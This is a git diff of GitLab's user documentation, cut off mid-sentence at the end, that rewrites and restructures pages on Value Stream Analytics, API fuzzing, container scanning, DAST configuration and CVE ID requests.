+group: Optimize +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Value Stream Analytics +# Value Stream Analytics **(CORE)** > - Introduced as Cycle Analytics prior to GitLab 12.3 at the project level. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12077) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.3 at the group level. @@ -21,13 +21,10 @@ to uncover, triage, and identify the root cause of slowdowns in the software dev For information on how to contribute to the development of Value Stream Analytics, see our [contributor documentation](../../development/value_stream_analytics.md). -## Project Level Value Stream Analytics **(CORE)** +Project-level Value Stream Analytics is available via **Project > Analytics > Value Stream**. -Project Level Value Stream Analytics is available via **Project > Analytics > Value Stream**. - -## Group Level Value Stream Analytics **(PREMIUM)** - -From GitLab 12.9, group level Value Stream Analytics is available via **Group > Analytics > Value Stream**. +NOTE: +[Group-level Value Stream Analytics](../group/value_stream_analytics) is also available. ## Default stages @@ -46,38 +43,15 @@ The stages tracked by Value Stream Analytics by default represent the [GitLab fl - **Staging** (Continuous Deployment) - Time between merging and deploying to production -## Filter the analytics data - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13216) in GitLab 13.3 - -GitLab provides the ability to filter analytics based on the following parameters: - -- Milestones (Group level) -- Labels (Group level) -- Author -- Assignees - -To filter results: - -1. Select a group. -1. Click on the filter bar. -1. Select a parameter to filter by. -1. Select a value from the autocompleted results, or type to refine the results. - - - -NOTE: **Note:** -Filtering is available only for group-level Value Stream Analytics. - ### Date ranges -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13216) in GitLab 12.4. +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/36300) in GitLab 10.0. -GitLab provides the ability to filter analytics based on a date range. To filter results: +GitLab provides the ability to filter analytics based on a date range. To filter results, select one of these options: -1. Select a group. -1. Optionally select a project. -1. Select a date range using the available date pickers. +1. Last 7 days +1. Last 30 days (default) +1. Last 90 days ## How Time metrics are measured @@ -86,9 +60,8 @@ The "Time" metrics near the top of the page are measured as follows: - **Lead time**: median time from issue created to issue closed. - **Cycle time**: median time from first commit to issue closed. -Note: A commit is associated with an issue by [crosslinking](../project/issues/crosslinking_issues.md) in the commit message or by manually linking the merge request containing the commit. - - +NOTE: +A commit is associated with an issue by [crosslinking](../project/issues/crosslinking_issues.md) in the commit message or by manually linking the merge request containing the commit. ## How the stages are measured @@ -103,31 +76,30 @@ Each stage of Value Stream Analytics is further described in the table below. | **Stage** | **Description** | | --------- | --------------- | -| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whatever comes first. The label will be tracked only if it already has an [Issue Board list](../project/issue_board.md) created for it. | -| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. The very first commit of the branch is the one that triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch needs to contain the related issue number (e.g., `#42`). If none of the commits in the branch mention the related issue number, it is not considered to the measurement time of the stage. | -| Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR) related to that commit. The key to keep the process tracked is to include the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) to the description of the merge request (for example, `Closes #xxx`, where `xxx` is the number of the issue related to this merge request). If the closing pattern is not present, then the calculation takes the creation time of the first commit in the merge request as the start time. | -| Test | Measures the median time to run the entire pipeline for that project. It's related to the time GitLab CI/CD takes to run every job for the commits pushed to that merge request defined in the previous stage. It is basically the start->finish time for all pipelines. | -| Review | Measures the median time taken to review the merge request that has a closing issue pattern, between its creation and until it's merged. | -| Staging | Measures the median time between merging the merge request with a closing issue pattern until the very first deployment to a [production environment](#how-the-production-environment-is-identified). If there isn't a production environment, this is not tracked. | +| Issue | Measures the median time between creating an issue and taking action to solve it, by either labeling it or adding it to a milestone, whichever comes first. The label is tracked only if it already includes an [Issue Board list](../project/issue_board.md) created for it. | +| Plan | Measures the median time between the action you took for the previous stage, and pushing the first commit to the branch. That first branch commit triggers the separation between **Plan** and **Code**, and at least one of the commits in the branch must include the related issue number (such as `#42`). If the issue number is *not* included in a commit, that data is not included in the measurement time of the stage. | +| Code | Measures the median time between pushing a first commit (previous stage) and creating a merge request (MR). The process is tracked with the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) in the description of the merge request. For example, if the issue is closed with `Closes #xxx`, it's assumed that `xxx` is issue number for the merge request). If there is no closing pattern, the start time is set to the create time of the first commit. | +| Test | Essentially the start to finish time for all pipelines. Measures the median time to run the entire pipeline for that project. Related to the time required by GitLab CI/CD to run every job for the commits pushed to that merge request, as defined in the previous stage. | +| Review | Measures the median time taken to review merge requests with a closing issue pattern, from creation to merge. | +| Staging | Measures the median time between merging the merge request (with a closing issue pattern) to the first deployment to a [production environment](#how-the-production-environment-is-identified). Data not collected without a production environment. | How this works, behind the scenes: -1. Issues and merge requests are grouped together in pairs, such that for each - `<issue, merge request>` pair, the merge request has the [issue closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) - for the corresponding issue. All other issues and merge requests are **not** - considered. -1. Then the `<issue, merge request>` pairs are filtered out by last XX days (specified - by the UI - default is 90 days). So it prohibits these pairs from being considered. -1. For the remaining `<issue, merge request>` pairs, we check the information that - we need for the stages, like issue creation date, merge request merge time, - etc. +1. Issues and merge requests are grouped in pairs, where the merge request has the + [closing pattern](../project/issues/managing_issues.md#closing-issues-automatically) + for the corresponding issue. Issue/merge request pairs without closing patterns are + **not** included. +1. Issue/merge request pairs are filtered by the last XX days, specified through the UI + (default = 90 days). Pairs outside the filtered range are not included. +1. For the remaining pairs, review information needed for stages, including + issue creation date, merge request merge time, and so on. -To sum up, anything that doesn't follow [GitLab flow](../../topics/gitlab_flow.md) will not be tracked and the -Value Stream Analytics dashboard will not present any data for: +In short, the Value Stream Analytics dashboard tracks data related to [GitLab flow](../../topics/gitlab_flow.md). It does not include data for: - Merge requests that do not close an issue. -- Issues not labeled with a label present in the Issue Board or for issues not assigned a milestone. -- Staging stage, if the project has no [production environment](#how-the-production-environment-is-identified). +- Issues that do not include labels present in the Issue Board +- Issues without a milestone. +- Staging stages, in projects without a [production environment](#how-the-production-environment-is-identified). ## How the production environment is identified @@ -165,8 +137,7 @@ environments is configured. 1. Now that the merge request is merged, a deployment to the `production` environment starts and finishes at 19:30 (stop of **Staging** stage). -From the above example you can conclude the time it took each stage to complete -as long as their total time: +From the above example we see the time used for each stage: - **Issue**: 2h (11:00 - 09:00) - **Plan**: 1h (12:00 - 11:00) @@ -175,203 +146,20 @@ as long as their total time: - **Review**: 5h (19:00 - 14:00) - **Staging**: 30min (19:30 - 19:00) -A few notes: - -- In the above example we demonstrated that it doesn't matter if your first - commit doesn't mention the issue number, you can do this later in any commit - of the branch you are working on. -- You can see that the **Test** stage is not calculated to the overall time of - the cycle since it is included in the **Review** process (every MR should be - tested). -- The example above was just **one cycle** of the seven stages. Add multiple - cycles, calculate their median time and the result is what the dashboard of - Value Stream Analytics is showing. - -## Customizable Value Stream Analytics **(PREMIUM)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/12196) in GitLab 12.9. - -The default stages are designed to work straight out of the box, but they might not be suitable for -all teams. Different teams use different approaches to building software, so some teams might want -to customize their Value Stream Analytics. - -GitLab allows users to create multiple value streams, hide default stages and create custom stages that align better to their development workflow. - -NOTE: **Note:** -Customizability is [only available for group-level](https://gitlab.com/gitlab-org/gitlab/-/issues/35823#note_272558950) Value Stream Analytics. - -### Stage path - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210315) in GitLab 13.0. - -Stages are visually depicted as a horizontal process flow. Selecting a stage will update the -the content below the value stream. - -This is disabled by default. If you have a self-managed instance, an -administrator can [open a Rails console](../../administration/troubleshooting/navigating_gitlab_via_rails_console.md) -and enable it with the following command: - -```ruby -Feature.enable(:value_stream_analytics_path_navigation) -``` - -### Adding a stage - -In the following example we're creating a new stage that measures and tracks issues from creation -time until they are closed. - -1. Navigate to your group's **Analytics > Value Stream**. -1. Click the **Add a stage** button. -1. Fill in the new stage form: - - Name: Issue start to finish. - - Start event: Issue created. - - End event: Issue closed. -1. Click the **Add stage** button. - - - -The new stage is persisted and it will always show up on the Value Stream Analytics page for your -group. - -If you want to alter or delete the stage, you can easily do that for customized stages by: - -1. Hovering over the stage. -1. Clicking the vertical ellipsis (**{ellipsis_v}**) button that appears. - - - -Creating a custom stage requires specifying two events: - -- A start. -- An end. - -Be careful to choose a start event that occurs *before* your end event. For example, consider a -stage that: - -- Started when an issue is added to a board. -- Ended when the issue is created. - -This stage would not work because the end event has already happened when the start event occurs. -To prevent such invalid stages, the UI prohibits incompatible start and end events. After you select -the start event, the stop event dropdown will only list the compatible events. - -### Re-ordering stages - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196698) in GitLab 12.10. - -Once a custom stage has been added, you can "drag and drop" stages to rearrange their order. These changes are automatically saved to the system. - -### Label based stages +More information: -The pre-defined start and end events can cover many use cases involving both issues and merge requests. - -For supporting more complex workflows, use stages based on group labels. These events are based on -labels being added or removed. In particular, [scoped labels](../project/labels.md#scoped-labels) -are useful for complex workflows. - -In this example, we'd like to measure more accurate code review times. The workflow is the following: - -- When the code review starts, the reviewer adds `workflow::code_review_start` label to the merge request. -- When the code review is finished, the reviewer adds `workflow::code_review_complete` label to the merge request. - -Creating a new stage called "Code Review": - - - -### Hiding unused stages - -Sometimes certain default stages are not relevant to a team. In this case, you can easily hide stages -so they no longer appear in the list. To hide stages: - -1. Add a custom stage to activate customizability. -1. Hover over the default stage you want to hide. -1. Click the vertical ellipsis (**{ellipsis_v}**) button that appears and select **Hide stage**. - -To recover a default stage that was previously hidden: - -1. Click **Add a stage** button. -1. In the top right corner open the **Recover hidden stage** dropdown. -1. Select a stage. - -### Creating a value stream - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221202) in GitLab 13.3 - -A default value stream is readily available for each group. You can create additional value streams based on the different areas of work that you would like to measure. - -Once created, a new value stream includes the [seven stages](#default-stages) that follow -[GitLab workflow](../../topics/gitlab_flow.md) -best practices. You can customize this flow by adding, hiding or re-ordering stages. - -To create a value stream: - -1. Navigate to your group's **Analytics > Value Stream**. -1. Click the Value stream dropdown and select **Create new Value Stream** -1. Fill in a name for the new Value Stream -1. Click the **Create Value Stream** button. - - - -### Deleting a value stream - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221205) in GitLab 13.4. - -To delete a custom value stream: - -1. Navigate to your group's **Analytics > Value Stream**. -1. Click the Value stream dropdown and select the value stream you would like to delete. -1. Click the **Delete (name of value stream)**. -1. Click the **Delete** button to confirm. - - - -### Disabling custom value streams - -Custom value streams are enabled by default. If you have a self-managed instance, an -administrator can open a Rails console and disable them with the following command: - -```ruby -Feature.disable(:value_stream_analytics_create_multiple_value_streams) -``` - -## Days to completion chart - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/21631) in GitLab 12.6. -> - [Chart median line removed](https://gitlab.com/gitlab-org/gitlab/-/issues/235455) in GitLab 13.4. - -This chart visually depicts the total number of days it takes for cycles to be completed. (Totals are being replaced with averages in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/262070).) - -This chart uses the global page filters for displaying data based on the selected -group, projects, and timeframe. In addition, specific stages can be selected -from within the chart itself. - -The chart data is limited to the last 500 items. - -### Disabling chart - -This chart is enabled by default. If you have a self-managed instance, an -administrator can open a Rails console and disable it with the following command: - -```ruby -Feature.disable(:cycle_analytics_scatterplot_enabled) -``` - -## Type of work - Tasks by type chart - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32421) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.10. - -This chart shows a cumulative count of issues and merge requests per day. - -This chart uses the global page filters for displaying data based on the selected -group, projects, and timeframe. The chart defaults to showing counts for issues but can be -toggled to show data for merge requests and further refined for specific group-level labels. - -By default the top group-level labels (max. 10) are pre-selected, with the ability to -select up to a total of 15 labels. +- The above example specifies the issue number in a latter commit. The process + still collects analytics data for that issue. +- The time required in the **Test** stage is not included in the overall time of + the cycle. It is included in the **Review** process, as every MR should be + tested. +- The example above illustrates only **one cycle** of the multiple stages. Value + Stream Analytics, on its dashboard, shows the calculated median elapsed time + for these issues. ## Permissions -The current permissions on the Project Value Stream Analytics dashboard are: +The current permissions on the Project-level Value Stream Analytics dashboard are: - Public projects - anyone can access. - Internal projects - any authenticated user can access. @@ -379,9 +167,6 @@ The current permissions on the Project Value Stream Analytics dashboard are: You can [read more about permissions](../../user/permissions.md) in general. -For Value Stream Analytics functionality introduced in GitLab 12.3 and later, -users must have Reporter access or above. - ## More resources Learn more about Value Stream Analytics in the following resources: diff --git a/doc/user/application_security/api_fuzzing/index.md b/doc/user/application_security/api_fuzzing/index.md index 57c5f8bc1fa..09e38d5048f 100644 --- a/doc/user/application_security/api_fuzzing/index.md +++ b/doc/user/application_security/api_fuzzing/index.md @@ -1,7 +1,7 @@ --- stage: Secure group: Fuzz Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -139,7 +139,7 @@ This is a minimal configuration for API Fuzzing. From here you can: - [Add authentication](#authentication). - Learn how to [handle false positives](#handling-false-positives). -DANGER: **Warning:** +WARNING: **NEVER** run fuzz testing against a production server. Not only can it perform *any* function that the API can, it may also trigger bugs in the API. This includes actions like modifying and deleting data. Only run fuzzing against a test server. @@ -147,7 +147,7 @@ data. Only run fuzzing against a test server. ### HTTP Archive (HAR) The [HTTP Archive format (HAR)](http://www.softwareishard.com/blog/har-12-spec/) -is an archive file format for logging HTTP transactions. When used with GitLab's API fuzzer, HAR +is an archive file format for logging HTTP transactions. When used with the GitLab API fuzzer, HAR must contain records of calling the web API to test. The API fuzzer extracts all the requests and uses them to perform testing. @@ -155,10 +155,10 @@ You can use various tools to generate HAR files: - [Fiddler](https://www.telerik.com/fiddler): Web debugging proxy - [Insomnia Core](https://insomnia.rest/): API client -- [Chrome](https://www.google.com/chrome): Browser +- [Chrome](https://www.google.com/chrome/): Browser - [Firefox](https://www.mozilla.org/en-US/firefox/): Browser -DANGER: **Warning:** +WARNING: HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR file contents before adding them to a repository. @@ -230,7 +230,7 @@ This is a minimal configuration for API Fuzzing. From here you can: - [Add authentication](#authentication). - Learn how to [handle false positives](#handling-false-positives). -DANGER: **Warning:** +WARNING: **NEVER** run fuzz testing against a production server. Not only can it perform *any* function that the API can, it may also trigger bugs in the API. This includes actions like modifying and deleting data. Only run fuzzing against a test server. @@ -243,11 +243,11 @@ developers and testers use to call various types of APIs. The API definitions for use with API Fuzzing. When exporting, make sure to select a supported version of Postman Collection: v2.0 or v2.1. -When used with GitLab's API fuzzer, Postman Collections must contain definitions of the web API to +When used with the GitLab API fuzzer, Postman Collections must contain definitions of the web API to test with valid data. The API fuzzer extracts all the API definitions and uses them to perform testing. -DANGER: **Warning:** +WARNING: Postman Collection files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the Postman Collection file contents before adding them to a repository. @@ -321,7 +321,7 @@ This is a minimal configuration for API Fuzzing. From here you can: - [Add authentication](#authentication). - Learn how to [handle false positives](#handling-false-positives). -DANGER: **Warning:** +WARNING: **NEVER** run fuzz testing against a production server. Not only can it perform *any* function that the API can, it may also trigger bugs in the API. This includes actions like modifying and deleting data. Only run fuzzing against a test server. @@ -488,24 +488,24 @@ increases as the numbers go up. To use a configuration file, add it to your repo | Environment variable | Description | |-----------------------------|--------------------| -| `FUZZAPI_VERSION` |Specify API Fuzzing container version. Defaults to `latest`. | -| `FUZZAPI_TARGET_URL` |Base URL of API testing target. | -|[`FUZZAPI_CONFIG`](#configuration-files)|API Fuzzing configuration file. Defaults to `.gitlab-apifuzzer.yml`. | -|[`FUZZAPI_PROFILE`](#configuration-files)|Configuration profile to use during testing. Defaults to `Quick`. | -| `FUZZAPI_REPORT` |Scan report filename. Defaults to `gl-api_fuzzing-report.xml`. | -|[`FUZZAPI_OPENAPI`](#openapi-specification)|OpenAPI specification file or URL. | -|[`FUZZAPI_HAR`](#http-archive-har)|HTTP Archive (HAR) file. | -|[`FUZZAPI_POSTMAN_COLLECTION`](#postman-collection)|Postman Collection file. | -|[`FUZZAPI_OVERRIDES_FILE`](#overrides) |Path to a JSON file containing overrides. | -|[`FUZZAPI_OVERRIDES_ENV`](#overrides) |JSON string containing headers to override. | -|[`FUZZAPI_OVERRIDES_CMD`](#overrides) |Overrides command. | -|[`FUZZAPI_OVERRIDES_INTERVAL`](#overrides) |How often to run overrides command in seconds. Defaults to `0` (once). | -|[`FUZZAPI_HTTP_USERNAME`](#http-basic-authentication) |Username for HTTP authentication. | -|[`FUZZAPI_HTTP_PASSWORD`](#http-basic-authentication) |Password for HTTP authentication. | +| `FUZZAPI_VERSION` | Specify API Fuzzing container version. Defaults to `latest`. | +| `FUZZAPI_TARGET_URL` | Base URL of API testing target. | +|[`FUZZAPI_CONFIG`](#configuration-files) | API Fuzzing configuration file. Defaults to `.gitlab-apifuzzer.yml`. | +|[`FUZZAPI_PROFILE`](#configuration-files) | Configuration profile to use during testing. Defaults to `Quick`. | +| `FUZZAPI_REPORT` | Scan report filename. Defaults to `gl-api_fuzzing-report.xml`. | +|[`FUZZAPI_OPENAPI`](#openapi-specification) | OpenAPI specification file or URL. | +|[`FUZZAPI_HAR`](#http-archive-har) | HTTP Archive (HAR) file. | +|[`FUZZAPI_POSTMAN_COLLECTION`](#postman-collection) | Postman Collection file. | +|[`FUZZAPI_OVERRIDES_FILE`](#overrides) | Path to a JSON file containing overrides. | +|[`FUZZAPI_OVERRIDES_ENV`](#overrides) | JSON string containing headers to override. | +|[`FUZZAPI_OVERRIDES_CMD`](#overrides) | Overrides command. | +|[`FUZZAPI_OVERRIDES_INTERVAL`](#overrides) | How often to run overrides command in seconds. Defaults to `0` (once). | +|[`FUZZAPI_HTTP_USERNAME`](#http-basic-authentication) | Username for HTTP authentication. | +|[`FUZZAPI_HTTP_PASSWORD`](#http-basic-authentication) | Password for HTTP authentication. | <!--|[`FUZZAPI_D_TARGET_IMAGE`](#target-container) |API target docker image | |[`FUZZAPI_D_TARGET_ENV`](#target-container) |Docker environment options | -|[`FUZZAPI_D_TARGET_VOLUME`](#target-container)|Docker volume options | +|[`FUZZAPI_D_TARGET_VOLUME`](#target-container) | Docker volume options | |[`FUZZAPI_D_TARGET_PORTS`](#target-container) |Docker port options | | `FUZZAPI_D_WORKER_IMAGE` |Custom worker docker image | | `FUZZAPI_D_WORKER_ENV` |Custom worker docker environment options | @@ -720,45 +720,43 @@ Repeat this configuration for each profile as needed. ## Running your first scan -When configured correctly, a CI/CD pipeline contains a `Fuzz` stage and a `apifuzzer_fuzz` job. The -job only fails when an invalid configuration is provided. During normal operation, the job always -succeeds even if faults are identified during fuzz testing. +When configured correctly, a CI/CD pipeline contains a `fuzz` stage and an `apifuzzer_fuzz` or +`apifuzzer_fuzz_dnd` job. The job only fails when an invalid configuration is provided. During +normal operation, the job always succeeds even if faults are identified during fuzz testing. -Faults are displayed on the **Tests** pipeline tab with the suite name **API-Fuzzing**. The **Name** -field on the **Tests** page includes the fuzz-tested operation and parameter. The **Trace** field -contains a writeup of the identified fault. This writeup contains information on what the fuzzer -tested and how it detected something wrong. +Faults are displayed on the **Security** pipeline tab with the suite name. When testing against the +repositories default branch, the fuzzing faults are also shown on the Security & Compliance's +Vulnerability Report page. To prevent an excessive number of reported faults, the API fuzzing scanner limits the number of -faults it reports to one per parameter. - -### Fault Writeup - -The faults that API fuzzing finds aren't associated with a specific vulnerability type. They require -investigation to determine what type of issue they are and if they should be fixed. See -[handling false positives](#handling-false-positives) for information about configuration changes -you can make to limit the number of false positives reported. - -This table contains a description of fields in an API fuzzing fault writeup. - -| Writeup Item | Description | -|:-------------|:------------| -| Operation | The operation tested. | -| Parameter | The field modified. This can be a path segment, header, query string, or body element. | -| Endpoint | The endpoint being tested. | -| Check | Check module producing the test. Checks can be turned on and off. | -| Assert | Assert module that detected a failure. Assertions can be configured and turned on and off. | -| CWE | Fuzzing faults always have the same CWE. | -| OWASP | Fuzzing faults always have the same OWASP ID. | -| Exploitability | Fuzzing faults always have an `unknown` exploitability. | -| Impact | Fuzzing faults always have an `unknown` risk impact. | -| Description | Verbose description of what the check did. Includes the original parameter value and the modified (mutated) value. | -| Detection | Why a failure was detected and reported. This is related to the Assert that was used. | -| Original Request | The original, unmodified HTTP request. Useful when reviewing the actual request to see what changes were made. | -| Actual Request | The request that produced the failure. This request has been modified in some way by the Check logic. | -| Actual Response | The response to the actual request. | -| Recorded Request | An unmodified request. | -| Recorded Response | The response to the unmodified request. You can compare this with the actual request when triaging this fault. | +faults it reports. + +## Viewing fuzzing faults + +The API Fuzzing analyzer produces a JSON report that is collected and used +[to populate the faults into GitLab vulnerability screens](../index.md#view-details-of-an-api-fuzzing-vulnerability). +Fuzzing faults show up as vulnerabilities with a severity of Unknown. + +The faults that API fuzzing finds require manual investigation and aren't associated with a specific +vulnerability type. They require investigation to determine if they are a security issue, and if +they should be fixed. See [handling false positives](#handling-false-positives) +for information about configuration changes you can make to limit the number of false positives +reported. + +For additional information, see +[View details of an API Fuzzing vulnerability](../index.md#view-details-of-an-api-fuzzing-vulnerability). + +### Security Dashboard + +Fuzzing faults show up as vulnerabilities with a severity of Unknown. The Security Dashboard is a +good place to get an overview of all the security vulnerabilities in your groups, projects and +pipelines. For more information, see the [Security Dashboard documentation](../security_dashboard/index.md). + +### Interacting with the vulnerabilities + +Fuzzing faults show up as vulnerabilities with a severity of Unknown. +Once a fault is found, you can interact with it. Read more on how to +[interact with the vulnerabilities](../index.md#interacting-with-the-vulnerabilities). ## Handling False Positives diff --git a/doc/user/application_security/compliance_dashboard/index.md b/doc/user/application_security/compliance_dashboard/index.md index d9af9d66c36..383d2bf2df7 100644 --- a/doc/user/application_security/compliance_dashboard/index.md +++ b/doc/user/application_security/compliance_dashboard/index.md @@ -3,3 +3,6 @@ redirect_to: '../../compliance/compliance_dashboard/index.md' --- This document was moved to [another location](../../compliance/compliance_dashboard/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/application_security/configuration/index.md b/doc/user/application_security/configuration/index.md index ead34ca227e..fe21fdc1f15 100644 --- a/doc/user/application_security/configuration/index.md +++ b/doc/user/application_security/configuration/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Secure group: Static Analysis -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Security Configuration **(ULTIMATE)** diff --git a/doc/user/application_security/container_scanning/index.md b/doc/user/application_security/container_scanning/index.md index eef15a9c424..9bde2c28972 100644 --- a/doc/user/application_security/container_scanning/index.md +++ b/doc/user/application_security/container_scanning/index.md @@ -2,7 +2,7 @@ type: reference, howto stage: Protect group: Container Security -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Container Scanning **(ULTIMATE)** @@ -14,7 +14,7 @@ vulnerabilities. By including an extra job in your pipeline that scans for those displays them in a merge request, you can use GitLab to audit your Docker-based apps. By default, container scanning in GitLab is based on [Clair](https://github.com/quay/clair) and [Klar](https://github.com/optiopay/klar), which are open-source tools for vulnerability static analysis in -containers. [GitLab's Klar analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/klar/) +containers. The GitLab [Klar analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/klar/) scans the containers and serves as a wrapper for Clair. To integrate security scanners other than Clair and Klar into GitLab, see @@ -43,6 +43,7 @@ To enable container scanning in your pipeline, you need the following: or [`kubernetes`](https://docs.gitlab.com/runner/install/kubernetes.html) executor. - Docker `18.09.03` or higher installed on the same computer as the runner. If you're using the shared runners on GitLab.com, then this is already the case. +- An image matching [Clair's list of supported distributions](https://quay.github.io/claircore/). - [Build and push](../../packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd) your Docker image to your project's container registry. The name of the Docker image should use the following [predefined environment variables](../../../ci/variables/predefined_variables.md): @@ -211,7 +212,7 @@ container_scanning: GIT_STRATEGY: fetch ``` -CAUTION: **Deprecated:** +WARNING: GitLab 13.0 and later doesn't support [`only` and `except`](../../../ci/yaml/README.md#onlyexcept-basic). When overriding the template, you must use [`rules`](../../../ci/yaml/README.md#rules) instead. @@ -298,7 +299,7 @@ For details on saving and transporting Docker images as a file, see Docker's doc It can be worthwhile to set up a [scheduled pipeline](../../../ci/pipelines/schedules.md) to build a new version of the vulnerabilities database on a preset schedule. Automating -this with a pipeline means you won't have to do it manually each time. You can use the following +this with a pipeline means you do not have to do it manually each time. You can use the following `.gitlab-yml.ci` as a template: ```yaml @@ -318,7 +319,7 @@ build_latest_vulnerabilities: - docker push $CI_REGISTRY/namespace/clair-vulnerabilities-db ``` -The above template works for a GitLab Docker registry running on a local installation, however, if you're using a non-GitLab Docker registry, you'll need to change the `$CI_REGISTRY` value and the `docker login` credentials to match the details of your local registry. +The above template works for a GitLab Docker registry running on a local installation, however, if you're using a non-GitLab Docker registry, you need to change the `$CI_REGISTRY` value and the `docker login` credentials to match the details of your local registry. ## Running the standalone container scanning tool diff --git a/doc/user/application_security/coverage_fuzzing/index.md b/doc/user/application_security/coverage_fuzzing/index.md index 4c5afcee3d0..0a5a0c3a565 100644 --- a/doc/user/application_security/coverage_fuzzing/index.md +++ b/doc/user/application_security/coverage_fuzzing/index.md @@ -1,7 +1,7 @@ --- stage: Secure group: Fuzz Testing -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- diff --git a/doc/user/application_security/cve_id_request.md b/doc/user/application_security/cve_id_request.md index 94cacf2882f..bc0c1e52626 100644 --- a/doc/user/application_security/cve_id_request.md +++ b/doc/user/application_security/cve_id_request.md @@ -2,14 +2,14 @@ type: tutorial stage: Secure group: Vulnerability Research -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # CVE ID Requests > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41203) in GitLab 13.4, only for public projects on GitLab.com. -As part of [GitLab's role as a CVE Numbering Authority](https://about.gitlab.com/security/cve) +As part of [our role as a CVE Numbering Authority](https://about.gitlab.com/security/cve/) ([CNA](https://cve.mitre.org/cve/cna.html)), you may request [CVE](https://cve.mitre.org/index.html) identifiers from GitLab to track vulnerabilities found within your project. @@ -33,7 +33,7 @@ If the following conditions are met, a **Request CVE ID** button appears in your ## Submitting a CVE ID Request Clicking the **Request CVE ID** button in the issue sidebar takes you to the new issue page for -[GitLab's CVE project](https://gitlab.com/gitlab-org/cves). +the [GitLab CVE project](https://gitlab.com/gitlab-org/cves).  diff --git a/doc/user/application_security/dast/index.md b/doc/user/application_security/dast/index.md index 2f1ed2faf90..f4401fa6445 100644 --- a/doc/user/application_security/dast/index.md +++ b/doc/user/application_security/dast/index.md @@ -1,7 +1,7 @@ --- stage: Secure group: Dynamic Analysis -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -15,7 +15,7 @@ deployed, your application is exposed to a new category of possible attacks, such as cross-site scripting or broken authentication flaws. This is where Dynamic Application Security Testing (DAST) comes into place. -NOTE: **Note:** +NOTE: The whitepaper ["A Seismic Shift in Application Security"](https://about.gitlab.com/resources/whitepaper-seismic-shift-application-security/) explains how 4 of the top 6 attacks were application based. Download it to learn how to protect your organization. @@ -91,12 +91,22 @@ There are two ways to define the URL to be scanned by DAST: 1. Set the `DAST_WEBSITE` [variable](../../../ci/yaml/README.md#variables). 1. Add it in an `environment_url.txt` file at the root of your project. - This is great for testing in dynamic environments. In order to run DAST against - an app dynamically created during a GitLab CI/CD pipeline, have the app - persist its domain in an `environment_url.txt` file, and DAST - automatically parses that file to find its scan target. - You can see an [example](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) - of this in our Auto DevOps CI YAML. + This is useful for testing in dynamic environments. To run DAST against an application + dynamically created during a GitLab CI/CD pipeline, a job that runs prior to the DAST scan must + persist the application's domain in an `environment_url.txt` file. DAST automatically parses the + `environment_url.txt` file to find its scan target. + + For example, in a job that runs prior to DAST, you could include code that looks similar to: + + ```yaml + script: + - echo http://${CI_PROJECT_ID}-${CI_ENVIRONMENT_SLUG}.domain.com > environment_url.txt + artifacts: + paths: [environment_url.txt] + when: always + ``` + + You can see an example of this in our [Auto DevOps CI YAML](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Jobs/Deploy.gitlab-ci.yml) file. If 